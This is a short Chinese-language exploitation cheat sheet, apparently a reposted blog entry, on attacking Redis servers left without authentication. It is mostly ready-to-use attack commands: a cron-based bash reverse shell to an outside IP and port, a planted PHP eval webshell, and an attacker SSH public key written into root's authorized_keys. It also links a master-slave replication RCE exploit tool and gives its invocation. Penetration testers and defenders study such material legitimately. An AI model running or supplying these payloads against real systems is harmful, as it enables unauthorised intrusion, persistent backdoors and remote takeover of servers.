redis未授权漏洞和主从复制rce漏洞利用

  未授权无需认证访问内部数据库。

利用计划任务反弹shell

redis-cli -h 192.168.2.6
set x "
* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
"
config set dir /var/spool/cron/
config set dbfilename root
save

获取webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

写入公钥远程连接

利用条件:root用户,未授权访问,开启ssh服务

1. 事先先准备好自己的公钥,写入一个本地文件foo.txt。
$ (echo -e "

"; cat id_rsa.pub; echo -e "

") > foo.txt


2. 通过redis将该文件写入内存
$ redis-cli -h 192.168.1.11 flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit


3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
192.168.1.11:6379> save
OK

4.公钥登陆

ssh -i redis.pub root@192.168.192.133

  

 主从复制漏洞:

paper:https://paper.seebug.org/975/

漏洞利用exp:

github:https://github.com/AdministratorGithub/redis-rogue-server

python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

  

 
原文地址:https://www.cnblogs.com/junsec/p/11170391.html